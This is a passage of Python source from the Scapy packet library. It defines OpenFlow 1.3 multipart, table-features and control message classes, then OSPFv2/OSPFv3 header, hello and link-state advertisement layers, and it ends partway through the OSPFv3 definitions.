ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 10, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("meter_configs", [], OFPMeterConfig, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestMeterFeatures(_ofp_header): name = "OFPMP_REQUEST_METER_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 11, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0)] class OFPMPReplyMeterFeatures(_ofp_header): name = "OFPMP_REPLY_METER_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 11, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), IntField("max_meter", 0), FlagsField("band_types", 0, 32, ["DROP", "DSCP_REMARK", "EXPERIMENTER"]), FlagsField("capabilities", 0, 32, ["KPBS", "PKTPS", "BURST", "STATS"]), ByteField("max_bands", 0), ByteField("max_color", 0), XShortField("pad2", 0)] # table features for multipart messages # class OFPTFPT(Packet): name = "Dummy OpenFlow3 Table Features Properties Header" @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_table_features_prop_cls.get(t, Raw) return Raw def post_build(self, p, pay): tmp_len = self.len if tmp_len is None: tmp_len = len(p) + len(pay) p = p[:2] + struct.pack("!H", tmp_len) + p[4:] zero_bytes = (8 - tmp_len % 8) % 8 p += b"\x00" * zero_bytes # message with user-defined length will not be automatically padded return p + pay def extract_padding(self, s): return b"", s ofp_table_features_prop_types = {0: "OFPTFPT_INSTRUCTIONS", 1: "OFPTFPT_INSTRUCTIONS_MISS", 2: "OFPTFPT_NEXT_TABLES", 3: "OFPTFPT_NEXT_TABLES_MISS", 4: "OFPTFPT_WRITE_ACTIONS", 5: "OFPTFPT_WRITE_ACTIONS_MISS", 6: "OFPTFPT_APPLY_ACTIONS", 7: "OFPTFPT_APPLY_ACTIONS_MISS", 8: "OFPTFPT_MATCH", 10: "OFPTFPT_WILDCARDS", 12: "OFPTFPT_WRITE_SETFIELD", 13: "OFPTFPT_WRITE_SETFIELD_MISS", 14: "OFPTFPT_APPLY_SETFIELD", 15: "OFPTFPT_APPLY_SETFIELD_MISS", 65534: "OFPTFPT_EXPERIMENTER", 65535: "OFPTFPT_EXPERIMENTER_MISS"} class OFPTFPTInstructions(OFPTFPT): name = "OFPTFPT_INSTRUCTIONS" fields_desc = [ShortField("type", 0), ShortField("len", None), PacketListField("instruction_ids", [], OFPITID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTInstructionsMiss(OFPTFPT): name = "OFPTFPT_INSTRUCTIONS_MISS" fields_desc = [ShortField("type", 1), ShortField("len", None), PacketListField("instruction_ids", [], OFPITID, length_from=lambda pkt:pkt.len - 4)] class OFPTableID(Packet): name = "OFP_TABLE_ID" fields_desc = [ByteEnumField("table_id", 0, ofp_table)] def extract_padding(self, s): return b"", s class OFPTFPTNextTables(OFPTFPT): name = "OFPTFPT_NEXT_TABLES" fields_desc = [ShortField("type", 2), ShortField("len", None), PacketListField("next_table_ids", None, OFPTableID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTNextTablesMiss(OFPTFPT): name = "OFPTFPT_NEXT_TABLES_MISS" fields_desc = [ShortField("type", 3), ShortField("len", None), PacketListField("next_table_ids", None, OFPTableID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTWriteActions(OFPTFPT): name = "OFPTFPT_WRITE_ACTIONS" fields_desc = [ShortField("type", 4), ShortField("len", None), PacketListField("action_ids", [], OFPATID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTWriteActionsMiss(OFPTFPT): name = "OFPTFPT_WRITE_ACTIONS_MISS" fields_desc = [ShortField("type", 5), ShortField("len", None), PacketListField("action_ids", [], OFPATID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTApplyActions(OFPTFPT): name = "OFPTFPT_APPLY_ACTIONS" fields_desc = [ShortField("type", 6), ShortField("len", None), PacketListField("action_ids", [], OFPATID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTApplyActionsMiss(OFPTFPT): name = "OFPTFPT_APPLY_ACTIONS_MISS" fields_desc = [ShortField("type", 7), ShortField("len", None), PacketListField("action_ids", [], OFPATID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTMatch(OFPTFPT): name = "OFPTFPT_MATCH" fields_desc = [ShortField("type", 8), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTWildcards(OFPTFPT): name = "OFPTFPT_WILDCARDS" fields_desc = [ShortField("type", 10), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTWriteSetField(OFPTFPT): name = "OFPTFPT_WRITE_SETFIELD" fields_desc = [ShortField("type", 12), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTWriteSetFieldMiss(OFPTFPT): name = "OFPTFPT_WRITE_SETFIELD_MISS" fields_desc = [ShortField("type", 13), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTApplySetField(OFPTFPT): name = "OFPTFPT_APPLY_SETFIELD" fields_desc = [ShortField("type", 14), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTApplySetFieldMiss(OFPTFPT): name = "OFPTFPT_APPLY_SETFIELD_MISS" fields_desc = [ShortField("type", 15), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTExperimenter(OFPTFPT): name = "OFPTFPT_EXPERIMENTER" fields_desc = [ShortField("type", 65534), ShortField("len", None), IntField("experimenter", 0), IntField("exp_type", 0), PacketLenField("experimenter_data", None, Raw, length_from=lambda pkt: pkt.len - 12)] class OFPTFPTExperimenterMiss(OFPTFPT): name = "OFPTFPT_EXPERIMENTER_MISS" fields_desc = [ShortField("type", 65535), ShortField("len", None), IntField("experimenter", 0), IntField("exp_type", 0), PacketLenField("experimenter_data", None, Raw, length_from=lambda pkt: pkt.len - 12)] ofp_table_features_prop_cls = {0: OFPTFPTInstructions, 1: OFPTFPTInstructionsMiss, 2: OFPTFPTNextTables, 3: OFPTFPTNextTablesMiss, 4: OFPTFPTWriteActions, 5: OFPTFPTWriteActionsMiss, 6: OFPTFPTApplyActions, 7: OFPTFPTApplyActionsMiss, 8: OFPTFPTMatch, 10: OFPTFPTWildcards, 12: OFPTFPTWriteSetField, 13: OFPTFPTWriteSetFieldMiss, 14: OFPTFPTApplySetField, 15: OFPTFPTApplySetFieldMiss, 65534: OFPTFPTExperimenter, 65535: OFPTFPTExperimenterMiss} class OFPTableFeatures(_ofp_header_item): name = "OFP_TABLE_FEATURES" fields_desc = [ShortField("len", None), ByteEnumField("table_id", 0, ofp_table), XBitField("pad", 0, 40), StrFixedLenField("table_name", "", 32), LongField("metadata_match", 0), LongField("metadata_write", 0), IntEnumField("config", 0, {0: "OFPTC_NO_MASK", 3: "OFPTC_DEPRECATED_MASK"}), IntField("max_entries", 0), PacketListField("properties", [], OFPTFPT, length_from=lambda pkt:pkt.len - 64)] def extract_padding(self, s): return b"", s class OFPMPRequestTableFeatures(_ofp_header): name = "OFPMP_REQUEST_TABLE_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 12, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), PacketListField("table_features", [], OFPTableFeatures, length_from=lambda pkt:pkt.len - 16)] class OFPMPReplyTableFeatures(_ofp_header): name = "OFPMP_REPLY_TABLE_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 12, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("table_features", [], OFPTableFeatures, length_from=lambda pkt:pkt.len - 16)] # end of table features # class OFPMPRequestPortDesc(_ofp_header): name = "OFPMP_REQUEST_PORT_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 13, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("port_no", 0, ofp_port_no), XIntField("pad", 0)] class OFPMPReplyPortDesc(_ofp_header): name = "OFPMP_REPLY_PORT_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 13, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("ports", None, OFPPort, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestExperimenter(_ofp_header): name = "OFPST_REQUEST_EXPERIMENTER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 65535, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntField("experimenter", 0), IntField("exp_type", 0)] class OFPMPReplyExperimenter(_ofp_header): name = "OFPST_REPLY_EXPERIMENTER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 65535, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), IntField("experimenter", 0), IntField("exp_type", 0)] # ofp_multipart_request/reply_cls allows generic method OpenFlow3() # to choose the right class for dissection ofp_multipart_request_cls = {0: OFPMPRequestDesc, 1: OFPMPRequestFlow, 2: OFPMPRequestAggregate, 3: OFPMPRequestTable, 4: OFPMPRequestPortStats, 5: OFPMPRequestQueue, 6: OFPMPRequestGroup, 7: OFPMPRequestGroupDesc, 8: OFPMPRequestGroupFeatures, 9: OFPMPRequestMeter, 10: OFPMPRequestMeterConfig, 11: OFPMPRequestMeterFeatures, 12: OFPMPRequestTableFeatures, 13: OFPMPRequestPortDesc, 65535: OFPMPRequestExperimenter} ofp_multipart_reply_cls = {0: OFPMPReplyDesc, 1: OFPMPReplyFlow, 2: OFPMPReplyAggregate, 3: OFPMPReplyTable, 4: OFPMPReplyPortStats, 5: OFPMPReplyQueue, 6: OFPMPReplyGroup, 7: OFPMPReplyGroupDesc, 8: OFPMPReplyGroupFeatures, 9: OFPMPReplyMeter, 10: OFPMPReplyMeterConfig, 11: OFPMPReplyMeterFeatures, 12: OFPMPReplyTableFeatures, 13: OFPMPReplyPortDesc, 65535: OFPMPReplyExperimenter} # end of OFPT_MULTIPART # class OFPTBarrierRequest(_ofp_header): name = "OFPT_BARRIER_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 20, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTBarrierReply(_ofp_header): name = "OFPT_BARRIER_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 21, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTQueueGetConfigRequest(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 22, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("port_no", "ANY", ofp_port_no), XIntField("pad", 0)] class OFPTQueueGetConfigReply(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 23, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("port", 0, ofp_port_no), XIntField("pad", 0), PacketListField("queues", [], OFPPacketQueue, length_from=lambda pkt:pkt.len - 16)] class OFPTRoleRequest(_ofp_header): name = "OFPT_ROLE_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 24, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("role", 0, {0: "OFPCR_ROLE_NOCHANGE", 1: "OFPCR_ROLE_EQUAL", 2: "OFPCR_ROLE_MASTER", 3: "OFPCR_ROLE_SLAVE"}), XIntField("pad", 0), LongField("generation_id", 0)] class OFPTRoleReply(OFPTRoleRequest): name = "OFPT_ROLE_REPLY" type = 25 class OFPTGetAsyncRequest(_ofp_header): name = "OFPT_GET_ASYNC_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 26, ofp_type), ShortField("len", 8), IntField("xid", 0)] ofp_packet_in_reason = ["NO_MATCH", "ACTION", "INVALID_TTL"] ofp_port_reason = ["ADD", "DELETE", "MODIFY"] ofp_flow_removed_reason = ["IDLE_TIMEOUT", "HARD_TIMEOUT", "DELETE", "GROUP_DELETE"] class OFPTGetAsyncReply(_ofp_header): name = "OFPT_GET_ASYNC_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 27, ofp_type), ShortField("len", 32), IntField("xid", 0), FlagsField("packet_in_mask_master", 0, 32, ofp_packet_in_reason), # noqa: E501 FlagsField("packet_in_mask_slave", 0, 32, ofp_packet_in_reason), # noqa: E501 FlagsField("port_status_mask_master", 0, 32, ofp_port_reason), # noqa: E501 FlagsField("port_status_mask_slave", 0, 32, ofp_port_reason), # noqa: E501 FlagsField("flow_removed_mask_master", 0, 32, ofp_flow_removed_reason), # noqa: E501 FlagsField("flow_removed_mask_slave", 0, 32, ofp_flow_removed_reason)] # noqa: E501 class OFPTSetAsync(OFPTGetAsyncReply): name = "OFPT_SET_ASYNC" type = 28 class OFPTMeterMod(_ofp_header): name = "OFPT_METER_MOD" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 29, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("cmd", 0, {0: "OFPMC_ADD", 1: "OFPMC_MODIFY", 2: "OFPMC_DELETE"}), FlagsField("flags", 0, 16, ["KBPS", "PKTPS", "BURST", "STATS"]), IntEnumField("meter_id", 1, ofp_meter), PacketListField("bands", [], OFPMBT, length_from=lambda pkt:pkt.len - 16)] # ofpt_cls allows generic method OpenFlow3() to choose the right class for dissection # noqa: E501 ofpt_cls = {0: OFPTHello, # 1: OFPTError, 2: OFPTEchoRequest, 3: OFPTEchoReply, 4: OFPTExperimenter, 5: OFPTFeaturesRequest, 6: OFPTFeaturesReply, 7: OFPTGetConfigRequest, 8: OFPTGetConfigReply, 9: OFPTSetConfig, 10: OFPTPacketIn, 11: OFPTFlowRemoved, 12: OFPTPortStatus, 13: OFPTPacketOut, 14: OFPTFlowMod, 15: OFPTGroupMod, 16: OFPTPortMod, 17: OFPTTableMod, # 18: OFPTMultipartRequest, # 19: OFPTMultipartReply, 20: OFPTBarrierRequest, 21: OFPTBarrierReply, 22: OFPTQueueGetConfigRequest, 23: OFPTQueueGetConfigReply, 24: OFPTRoleRequest, 25: OFPTRoleReply, 26: OFPTGetAsyncRequest, 27: OFPTGetAsyncReply, 28: OFPTSetAsync, 29: OFPTMeterMod} ================================================ FILE: scapy/contrib/ospf.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (c) 2008 Dirk Loss # Copyright (c) 2010 Jochen Bartl # scapy.contrib.description = Open Shortest Path First (OSPF) # scapy.contrib.status = loads """ OSPF extension for Scapy This module provides Scapy layers for the Open Shortest Path First routing protocol as defined in RFC 2328 and RFC 5340. """ import struct from scapy.packet import bind_layers, Packet from scapy.fields import BitField, ByteEnumField, ByteField, \ ConditionalField, DestIP6Field, FieldLenField, \ FieldListField, FlagsField, IP6Field, IP6PrefixField, IPField, \ IntEnumField, IntField, LenField, PacketListField, ShortEnumField, \ ShortField, StrLenField, X3BytesField, XIntField, XLongField, XShortField from scapy.layers.inet import IP, DestIPField from scapy.layers.inet6 import IPv6, in6_chksum from scapy.utils import fletcher16_checkbytes, checksum, inet_aton from scapy.compat import orb from scapy.config import conf EXT_VERSION = "v0.9.2" class OSPFOptionsField(FlagsField): def __init__(self, name="options", default=0, size=8, names=None): if names is None: names = ["MT", "E", "MC", "NP", "L", "DC", "O", "DN"] FlagsField.__init__(self, name, default, size, names) _OSPF_types = {1: "Hello", 2: "DBDesc", 3: "LSReq", 4: "LSUpd", 5: "LSAck"} class _NoLLSLenField(LenField): """ LenField that will ignore the size of OSPF_LLS_Hdr if it exists in the payload """ def i2m(self, pkt, x): if x is None: x = self.adjust(len(pkt.payload)) if OSPF_LLS_Hdr in pkt: x -= len(pkt[OSPF_LLS_Hdr]) return x class OSPF_Hdr(Packet): name = "OSPF Header" fields_desc = [ ByteField("version", 2), ByteEnumField("type", 1, _OSPF_types), _NoLLSLenField("len", None, adjust=lambda x: x + 24), IPField("src", "1.1.1.1"), IPField("area", "0.0.0.0"), # default: backbone XShortField("chksum", None), ShortEnumField("authtype", 0, {0: "Null", 1: "Simple", 2: "Crypto"}), # Null or Simple Authentication ConditionalField(XLongField("authdata", 0), lambda pkt: pkt.authtype != 2), # noqa: E501 # Crypto Authentication ConditionalField(XShortField("reserved", 0), lambda pkt: pkt.authtype == 2), # noqa: E501 ConditionalField(ByteField("keyid", 1), lambda pkt: pkt.authtype == 2), ConditionalField(ByteField("authdatalen", 0), lambda pkt: pkt.authtype == 2), # noqa: E501 ConditionalField(XIntField("seq", 0), lambda pkt: pkt.authtype == 2), # TODO: Support authdata (which is appended to the packets as if it were padding) # noqa: E501 ] def post_build(self, p, pay): # See p += pay if self.chksum is None: if self.authtype == 2: ck = 0 # Crypto, see RFC 2328, D.4.3 else: # Checksum is calculated without authentication data # Algorithm is the same as in IP() ck = checksum(p[:16] + p[24:]) p = p[:12] + struct.pack("!H", ck) + p[14:] # TODO: Handle Crypto: Add message digest (RFC 2328, D.4.3) return p def hashret(self): return struct.pack("H", self.area) + self.payload.hashret() def answers(self, other): if (isinstance(other, OSPF_Hdr) and self.area == other.area and self.type == 5): # Only acknowledgements answer other packets return self.payload.answers(other.payload) return 0 class OSPF_Hello(Packet): name = "OSPF Hello" fields_desc = [IPField("mask", "255.255.255.0"), ShortField("hellointerval", 10), OSPFOptionsField(), ByteField("prio", 1), IntField("deadinterval", 40), IPField("router", "0.0.0.0"), IPField("backup", "0.0.0.0"), FieldListField("neighbors", [], IPField("", "0.0.0.0"), length_from=lambda pkt: (pkt.underlayer.len - 44) if pkt.underlayer else None)] # noqa: E501 def guess_payload_class(self, payload): # check presence of LLS data block flag if self.options & 0x10 == 0x10: return OSPF_LLS_Hdr else: return Packet.guess_payload_class(self, payload) class LLS_Generic_TLV(Packet): name = "LLS Generic" fields_desc = [ShortField("type", 0), FieldLenField("len", None, length_of="val"), StrLenField("val", "", length_from=lambda x: x.len)] def guess_payload_class(self, p): return conf.padding_layer class LLS_Extended_Options(LLS_Generic_TLV): name = "LLS Extended Options and Flags" fields_desc = [ShortField("type", 1), FieldLenField("len", None, fmt="!H", length_of="options"), StrLenField("options", "", length_from=lambda x: x.len)] # TODO: FlagsField("options", 0, names=["LR", "RS"], size) with dynamic size # noqa: E501 class LLS_Crypto_Auth(LLS_Generic_TLV): name = "LLS Cryptographic Authentication" fields_desc = [ShortField("type", 2), FieldLenField("len", 20, fmt="B", length_of=lambda x: x.authdata + 4), # noqa: E501 XIntField("sequence", 0), StrLenField("authdata", b"\x00" * 16, length_from=lambda x: x.len - 4)] # noqa: E501 _OSPF_LLSclasses = {1: "LLS_Extended_Options", 2: "LLS_Crypto_Auth"} def _LLSGuessPayloadClass(p, **kargs): """ Guess the correct LLS class for a given payload """ cls = conf.raw_layer if len(p) >= 3: typ = struct.unpack("!H", p[0:2])[0] clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV") cls = globals()[clsname] return cls(p, **kargs) class FieldLenField32Bits(FieldLenField): def i2repr(self, pkt, x): return repr(x) if not x else str(FieldLenField.i2h(self, pkt, x) << 2) + " bytes" # noqa: E501 class OSPF_LLS_Hdr(Packet): name = "OSPF Link-local signaling" fields_desc = [XShortField("chksum", None), FieldLenField32Bits("len", None, length_of="llstlv", adjust=lambda pkt, x: (x + 4) >> 2), # noqa: E501 PacketListField("llstlv", [], _LLSGuessPayloadClass, length_from=lambda x: (x.len << 2) - 4)] # noqa: E501 def post_build(self, p, pay): p += pay if self.chksum is None: c = checksum(p) p = struct.pack("!H", c) + p[2:] return p _OSPF_LStypes = {1: "router", 2: "network", 3: "summaryIP", 4: "summaryASBR", 5: "external", 7: "NSSAexternal", 9: "linkScopeOpaque", 10: "areaScopeOpaque", 11: "asScopeOpaque"} _OSPF_LSclasses = {1: "OSPF_Router_LSA", 2: "OSPF_Network_LSA", 3: "OSPF_SummaryIP_LSA", 4: "OSPF_SummaryASBR_LSA", 5: "OSPF_External_LSA", 7: "OSPF_NSSA_External_LSA", 9: "OSPF_Link_Scope_Opaque_LSA", 10: "OSPF_Area_Scope_Opaque_LSA", 11: "OSPF_AS_Scope_Opaque_LSA"} def ospf_lsa_checksum(lsa): return fletcher16_checkbytes(b"\x00\x00" + lsa[2:], 16) # leave out age class OSPF_LSA_Hdr(Packet): name = "OSPF LSA Header" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteEnumField("type", 1, _OSPF_LStypes), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", 0), ShortField("len", 36)] def extract_padding(self, s): return "", s _OSPF_Router_LSA_types = {1: "p2p", 2: "transit", 3: "stub", 4: "virtual"} class OSPF_Link(Packet): name = "OSPF Link" fields_desc = [IPField("id", "192.168.0.0"), IPField("data", "255.255.255.0"), ByteEnumField("type", 3, _OSPF_Router_LSA_types), ByteField("toscount", 0), ShortField("metric", 10), # TODO: define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt: False), ConditionalField(ByteField("reserved", 0), lambda pkt: False), # noqa: E501 ConditionalField(ShortField("tosmetric", 0), lambda pkt: False)] # noqa: E501 def extract_padding(self, s): return "", s def _LSAGuessPayloadClass(p, **kargs): """ Guess the correct LSA class for a given payload """ # This is heavily based on scapy-cdp.py by Nicolas Bareil and Arnaud Ebalard # noqa: E501 cls = conf.raw_layer if len(p) >= 4: typ = orb(p[3]) clsname = _OSPF_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs) class OSPF_BaseLSA(Packet): """ An abstract base class for Link State Advertisements """ def post_build(self, p, pay): length = self.len if length is None: length = len(p) p = p[:18] + struct.pack("!H", length) + p[20:] if self.chksum is None: chksum = ospf_lsa_checksum(p) p = p[:16] + chksum + p[18:] return p # p+pay? def extract_padding(self, s): return "", s class OSPF_Router_LSA(OSPF_BaseLSA): name = "OSPF Router LSA" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 1), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["B", "E", "V", "W", "Nt"]), ByteField("reserved", 0), FieldLenField("linkcount", None, count_of="linklist"), PacketListField("linklist", [], OSPF_Link, count_from=lambda pkt: pkt.linkcount, length_from=lambda pkt: pkt.linkcount * 12)] class OSPF_Network_LSA(OSPF_BaseLSA): name = "OSPF Network LSA" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 2), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), FieldListField("routerlist", [], IPField("", "1.1.1.1"), length_from=lambda pkt: pkt.len - 24)] class OSPF_SummaryIP_LSA(OSPF_BaseLSA): name = "OSPF Summary LSA (IP Network)" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 3), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), ByteField("reserved", 0), X3BytesField("metric", 10), # TODO: Define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt:False), ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)] # noqa: E501 class OSPF_SummaryASBR_LSA(OSPF_SummaryIP_LSA): name = "OSPF Summary LSA (AS Boundary Router)" type = 4 id = "2.2.2.2" mask = "0.0.0.0" metric = 20 class OSPF_External_LSA(OSPF_BaseLSA): name = "OSPF External LSA (ASBR)" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 5), IPField("id", "192.168.0.0"), IPField("adrouter", "2.2.2.2"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), FlagsField("ebit", 0, 1, ["E"]), BitField("reserved", 0, 7), X3BytesField("metric", 20), IPField("fwdaddr", "0.0.0.0"), XIntField("tag", 0), # TODO: Define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt:False), ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)] # noqa: E501 class OSPF_NSSA_External_LSA(OSPF_External_LSA): name = "OSPF NSSA External LSA" type = 7 class OSPF_Link_Scope_Opaque_LSA(OSPF_BaseLSA): name = "OSPF Link Scope External LSA" type = 9 fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 9), IPField("id", "192.0.2.1"), IPField("adrouter", "198.51.100.100"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), StrLenField("data", "data", length_from=lambda pkt: pkt.len - 20) ] def opaqueid(self): return struct.unpack('>I', inet_aton(self.id))[0] & 0xFFFFFF def opaquetype(self): return (struct.unpack('>I', inet_aton(self.id))[0] >> 24) & 0xFF class OSPF_Area_Scope_Opaque_LSA(OSPF_Link_Scope_Opaque_LSA): name = "OSPF Area Scope External LSA" type = 10 class OSPF_AS_Scope_Opaque_LSA(OSPF_Link_Scope_Opaque_LSA): name = "OSPF AS Scope External LSA" type = 11 class OSPF_DBDesc(Packet): name = "OSPF Database Description" fields_desc = [ ShortField("mtu", 1500), OSPFOptionsField(), FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R", "4", "3", "2", "1"]), IntField("ddseq", 1), PacketListField( "lsaheaders", None, OSPF_LSA_Hdr, count_from=lambda pkt: None, length_from=lambda pkt: pkt.underlayer and pkt.underlayer.len - 24 - 8, ) ] def guess_payload_class(self, payload): # check presence of LLS data block flag if self.options & 0x10 == 0x10: return OSPF_LLS_Hdr else: return Packet.guess_payload_class(self, payload) class OSPF_LSReq_Item(Packet): name = "OSPF Link State Request (item)" fields_desc = [IntEnumField("type", 1, _OSPF_LStypes), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1")] def extract_padding(self, s): return "", s class OSPF_LSReq(Packet): name = "OSPF Link State Request (container)" fields_desc = [ PacketListField( "requests", None, OSPF_LSReq_Item, count_from=lambda pkt: None, length_from=lambda pkt: pkt.underlayer and pkt.underlayer.len - 24, ) ] class OSPF_LSUpd(Packet): name = "OSPF Link State Update" fields_desc = [ FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"), PacketListField( "lsalist", None, _LSAGuessPayloadClass, count_from=lambda pkt: pkt.lsacount, length_from=lambda pkt: pkt.underlayer and pkt.underlayer.len - 24, ) ] class OSPF_LSAck(Packet): name = "OSPF Link State Acknowledgement" fields_desc = [ PacketListField( "lsaheaders", None, OSPF_LSA_Hdr, count_from=lambda pkt: None, length_from=lambda pkt: pkt.underlayer and pkt.underlayer.len - 24, ) ] def answers(self, other): if isinstance(other, OSPF_LSUpd): for reqLSA in other.lsalist: for ackLSA in self.lsaheaders: if (reqLSA.type == ackLSA.type and reqLSA.seq == ackLSA.seq): return 1 return 0 ############################################################################### # OSPFv3 ############################################################################### class OSPFv3_Hdr(Packet): name = "OSPFv3 Header" fields_desc = [ByteField("version", 3), ByteEnumField("type", 1, _OSPF_types), ShortField("len", None), IPField("src", "1.1.1.1"), IPField("area", "0.0.0.0"), XShortField("chksum", None), ByteField("instance", 0), ByteField("reserved", 0)] def post_build(self, p, pay): p += pay tmp_len = self.len if tmp_len is None: tmp_len = len(p) p = p[:2] + struct.pack("!H", tmp_len) + p[4:] if self.chksum is None: chksum = in6_chksum(89, self.underlayer, p) p = p[:12] + struct.pack("!H", chksum) + p[14:] return p class OSPFv3OptionsField(FlagsField): def __init__(self, name="options", default=0, size=24, names=None): if names is None: names = ["V6", "E", "MC", "N", "R", "DC", "AF", "L", "I", "F"] FlagsField.__init__(self, name, default, size, names) class OSPFv3_Hello(Packet): name = "OSPFv3 Hello" fields_desc = [IntField("intid", 0), ByteField("prio", 1), OSPFv3OptionsField(), ShortField("hellointerval", 10), ShortField("deadinterval", 40), IPField("router", "0.0.0.0"), IPField("backup", "0.0.0.0"), FieldListField("neighbors", [], IPField("", "0.0.0.0"), length_from=lambda pkt: (pkt.underlayer.len - 36))] # noqa: E501 _OSPFv3_LStypes = {0x2001: "router", 0x2002: "network", 0x2003: "interAreaPrefix", 0x2004: "interAreaRouter", 0x4005: "asExternal", 0x2007: "type7", 0x0008: "link", 0x2009: "intraAreaPrefix"} _OSPFv3_LSclasses = {0x2001: "OSPFv3_Router_LSA", 